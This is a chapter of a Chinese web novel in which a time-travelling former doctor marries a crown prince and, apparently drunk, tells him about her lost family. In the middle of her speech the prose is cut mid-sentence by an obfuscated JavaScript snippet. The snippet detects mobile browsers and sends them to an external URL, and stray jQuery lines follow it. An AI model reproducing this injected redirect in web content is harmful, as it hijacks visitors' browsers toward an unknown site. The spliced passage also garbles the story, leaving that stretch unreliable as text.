40. 大婚
作品:《白月光她和疯批太子跑了》 十月初十,黄历上写着宜嫁娶,钦天监说这日子十全十美,是百年难遇的良辰吉日。
清晨,天还未亮。
萧长离已身着玄色衮冕,头戴九旒冕,手持玉圭,立于太庙之前。
身后的仪仗队肃立无声,唯有旗帜在风中猎猎作响。
礼官开始唱诵,萧长离依制行五拜三叩之礼,告祭天地宗庙。
与此同时,林府后院。
林若华正端坐在铜镜前,今日为她梳妆的不是杜鹃,是宫中特遣的宫女以及年长女官,加上为她穿戴礼服者,足足有二十余人,房间狭小,但人人有序,并不拥挤。
两位女官神色严肃,对房中一切置若罔闻。
有几位年轻的宫女,在踏入院子时眼中的诧异一闪而过,却也极快掩盖下来,脸上未显露半分。
梳头、盘发、戴金簪。
扑粉、描眉、涂胭脂。
层层叠叠的翟服穿上,沉甸甸的九翚四凤冠压下。
一切穿戴完后,其中一位女官终于露出两分笑意,开口赞道:“太子妃这般容貌气度,与太子殿下真是天造地设。”
林若华望向铜镜中的自己,比起平日的清冷,今日更显端庄。
鼓乐喧天传来时,日头已升得老高。
吉时将至,迎亲队伍浩浩荡荡而来,比下聘那日更加宏大。
百姓们早早挤满道路两侧,有骑在父亲肩头的孩童,孩童一手紧紧抱住父亲脑袋,一手指着队伍,满脸惊奇。
有挽着母亲手臂的少女,少女眼中流露出羡慕之情,时不时凑到母亲耳边低语。
有老者不禁感叹:“这场面,老夫活了八十载,只在幼年见过。”
众人议论纷纷,谈论着迎亲队伍,谈论着太子大婚,谈论着那位林家太子妃。
太子妃林若华在女官的搀扶下缓缓行至厅堂,林兴业与叶氏早已穿戴整齐等候,林洛瑶则站在叶氏身侧。
随后,林若华率家人跪迎宫中使者。
使者宣读诏书,内容无外乎是些夸赞林若华,立她为太子妃,要她好好干的话。
完后,林若华起身,向父母拜别。
“若华啊……”林兴业上前一步,紧紧握住女儿的手。
林若华眉头微微一挑,还真是第一次见这人热泪盈眶的模样。
这位往日只会在家里瞪眼、骂人、摔茶杯、捋胡须的男人此刻眼眶通红,双手颤抖,声音哽咽:“今日你入东宫后,须谨记三从四德,恪守妇道,尽心侍奉太子,光耀门楣……”
絮絮叨叨,情真意切地说着毫无新意的告诫之言。
叶氏拿起手帕,不停擦拭饱含泪水的眼角:“入、入了宫,要好、好生照顾自己啊,若、若华啊……”
这次她也是真的哭了出来,全然不见昔日虚伪刻薄,也完全看不出半月前她们还因陪嫁之事争执,仿佛真是一个舍不得女儿出嫁的母亲。
林洛瑶规规矩矩站在一旁,全程低眉顺目,不见半分刁蛮,随着父母的动作,脸上也适时露出不舍。
林若华配合地红了眼,与家人依依惜别,哽咽道:“女儿谨记父亲母亲教诲。”
心中默念:啊,论演员的自我修养,啊,这该死的敬业精神。
一家四口,看起来感情深厚,真是相亲相爱一家人啊。
女官适时上前搀扶,对林若华低声道:“太子妃,该上轿了。”
林若华最后看了林家人一眼,转身走向轿子。
随着轿帘落下,十六名抬轿人起身,仪仗队在奏乐声中,掉头向着皇宫走去。
轿子外热热闹闹,轿子内的林若华终于松了口气,从袖中取出一个白色小布包。
打开布包,里面是十来块做工一般的桃酥。
那是在出院子前,苏南塞进她手中的。
四目相对,苏南依旧是一脸冰冷,看不出丝毫情绪,林若华则微微颔首,快速将布包收进宽大的袖子里。
周围的女官和宫女显然瞧见了这个小动作,却都默契地选择视而不见,规矩是规矩,人情是人情。
小心放在嘴边,轻轻咬了一口,林若华眉头一皱。
好难吃啊,苏南,你在哪里买的?
林若华不知怎么的,突然想起了穿越后遇到的第一个人,那个小丫鬟,酥酪。
她也试图寻找过酥酪的家人,想要帮忙照顾一二,可却得知酥酪的家人都已不在人世。
林若华把桃酥放下,可婚礼的时间还很长,又只能无奈地拿起。
不知过了多久,人群的喧嚣慢慢消失。
刚入皇宫,她已吃完了所有桃酥。
仪仗队穿过一道道宫门,最终停在了东宫前。
待到林若华终于被引入寝殿,天色已将近黄昏。
殿内红烛高燃,床上撒满了红枣、花生、桂圆、莲子,寓意早生贵子。
头上的凤冠压得她脖颈酸痛,枣生桂子又硌得慌。
她试图调整坐姿,却立刻感受到女官锐利的目光,只好挺直腰背,继续保持端庄。
时间流逝,又不知等了多久,脚步声自殿外传来,由远及近。
林若华的心跳随着脚步声不由自主地加快。
门打开了,林若华抬眸看去,只见萧长离一身衮冕,烛光朦胧,为他在身上镀了一层暖色,衬得他愈发眉眼深邃,更加贵气逼人。
萧长离今日饮了不少酒,却步伐稳健,目光清明,一眼便看到端坐床沿的林若华。
盛装下的林若华面容精致如画,美得不似凡人,一时竟令萧长离有些恍惚。
他在门前停顿片刻,才缓步走近。
两人对视,谁也没有先开口。
一旁的女官不得不出声提醒:“请太子、太子妃行合卺礼。”
两人这才如梦初醒。
一人一半葫芦,以红线相连,盛着琥珀色的酒。
酒是合欢酒,醇香扑鼻。
萧长离拿起一半,林若华接过另一半,与萧长离手臂交缠,一同饮下。
一口入喉,味道甘甜,又带着微微苦涩。
礼成,女官含笑退下,轻轻合上房门,殿中只剩下红烛与二人作伴。
又是一阵沉默。
林若华慢慢低下头,看不清表情。
最后,还是萧长离看着一言不发的林若华,察觉不对,先开口道:“若华,你……没事吧?”
萧长离难得迟疑。
“有事!”林若华猛地抬起头。
萧长离这才看清,她整张脸都泛着不自然的红晕,眼睛亮得惊人,眼神却有些涣散。
林若华不会喝酒。
“你听我说,你……”喝醉了。
“你听我说!”
林若华把萧长离的话打断。
“我从天没亮就被拉起来,折腾到现在,就吃了苏南给的几块难吃的点心!饿得我前胸贴后背,还有这些……”
她一手指着满床的枣生桂子,忍不住上前几步,一把抓起床上几颗红枣桂圆,又气呼呼地丢回去:“这些东西硌死我了!我想挪一挪,一动就被瞪,那个女官就瞪我,眼珠子都快瞪出来了!”
萧长离怔住。
林若华却不管他,自顾自说下去:“我这些天,白天应付这个应付那个,还要做研究,晚上失眠睡不着,脸色差得跟鬼一样,憔悴得不得了,根本就不能看,简直像是连续值了十个夜班。”
林若华又指着自己的脸上比画了一圈:“全靠着脸上涂着的这些粉遮着的,厚啊!”
她越说越激动:“还有,平时还不能好好说话,不说白话,非得文绉绉的,我们这是古偶剧,编剧怎么想的,我就要说普通话。”
林若华说话的口气已经完全恢复成曾经的样子。
她长呼一口气:“我穿越到这个鬼地方以后,天天都在和他们演戏,今天出门的时候都没有停过。你知不知道,我没那么喜欢演戏,我一开始就是想当个医生而已。”
她转过身,背对着萧长离:“我爷爷奶奶,我外公外婆,都很疼我,可他们都在我很小的时候,陆续病了,又一个一个走了。城南的寺庙,城北的道观,都没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881715|184823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有用,一次都没有用。”
林若华轻笑一声,带着自嘲,“可下次我还是傻傻地去,傻傻地相信。”
萧长离静静地听着,没有说话。
“后来我知道了,我们家的人身体都不太好,我就想,那我当一个医生吧,我给爸爸妈妈看病。他们很高兴,说以后家里有个小医生,什么都不怕了,还说要天天锻炼身体,早睡早起,健康饮食,定期体检。”
他们确实做到了身体健康,可命运都是从不讲道理。
良久,她继续开口,声音渐渐低了下去:“五年前,我考上了首都最好的医学院,我们一家三口计划暑假去旅游,临行前他们出门说去买点蛋糕,路上吃,说很快就回来……”
她顿了顿,声音轻得几乎听不见了:“然后,再也没有回来。”
林若华停顿了很久,久到萧长离以为她不会再说了。
“是车祸。突然就剩我一个人了。我只能一边打工一边读书,我遇到过好人,也遇到过坏人……”她又笑了起来,嘲讽更加明显,“长得漂亮,无依无靠,早出晚归,什么难听话都听过。还好是在现代,在大城市,要是在古代,早被人啃得骨头渣滓都不剩了。”
“我好不容易毕业了,实习期一个月四百块,是我倒贴给医院。爸妈留下的存款,再加上事故赔偿金,还不够还房贷。他们为了给长辈治病,已经卖了老房子,后来买的这套,还有十几年贷款。我算过,就算我拼命工作,等当上主任,房子也早就也被银行收走了。”
她摇摇头,又叹了一口气:“可是你知道吗?拍戏就不一样。我拍一部电视剧,就算是个小配角,挣的钱就够还好一阵子贷款。我的同学问我,我的老师问我,是不是真的不做医生了,我说学医救不了我的家。我家的房子不大,但是房子阳台上有爸妈种的玫瑰,他们走后的第一个春天,竟然开花了。我每天浇水,看着它们,就觉得他们还在。”
“后来房贷快还清了,我就来了这里。我的玫瑰花,我的房子,我的家,还是没有了。”林若华肩膀微微颤抖,“为什么我那么努力,还是什么都留不住呢?”
她突然转身,直视着萧长离,目光灼灼:“见到你的时候,我很开心,以为终于遇到熟悉的人,可靠的人,可是我后来发现你不像他。我好不容易把你们分开,接受你们是两个人这件事,你又告诉我,你早就喜欢我,你那个时候就喜欢我……”
她咬紧下唇,走近几步,一字一顿道:“萧长离,前辈,萧肆……你能不能不要再耍我了?我真的很累了。”
萧长离张开嘴,话还未出口,林若华却突然身体一晃,酒意终于冲上头,加上一整日的疲惫,她眼前一黑,向前倒去。
萧长离伸手,将她稳稳接住,一摸额头,触手滚烫。
怀中的人双眼紧闭,呼吸绵长,竟是真的醉晕过去了。
萧长离低头看着她泛红的脸颊,长长叹了口气,又看了眼满床象征吉祥的干果,衣袖一挥尽数扫落,红枣、花生、桂圆、莲子滚了一地。
他小心地将林若华安置在床榻内侧,为她卸下沉重的凤冠,散开发髻。
林若华在睡梦中轻哼了一声,眉头舒展了些。
烛光下,林若华的睡颜渐渐恬静,与方才激动的模样判若两人。
萧长离坐在床沿,看了许久,终于低声开口:“我不是不告诉你,是怕一旦说了,你就会躲得远远的。有些话,真的难以启齿。”
不知是说给林若华听,还是在自言自语。
“我想等你自己发现,等你自己愿意,其实我们很早就认识了,可是你已经不记得了。”
萧长离伸出手,为林若华理了理几缕散落在额前的头发。
“睡吧。”他轻声说道。
萧长离起身脱下外袍,吹熄了殿内所有的蜡烛。
他又躺在林若华身侧,中间隔着距离。
寝殿彻底安静下来,只有两人轻轻的呼吸声。
待萧长离的呼吸变得绵长,本该醉倒的林若华却猛然睁开双眼,眸中一片清明,没有半分醉意。

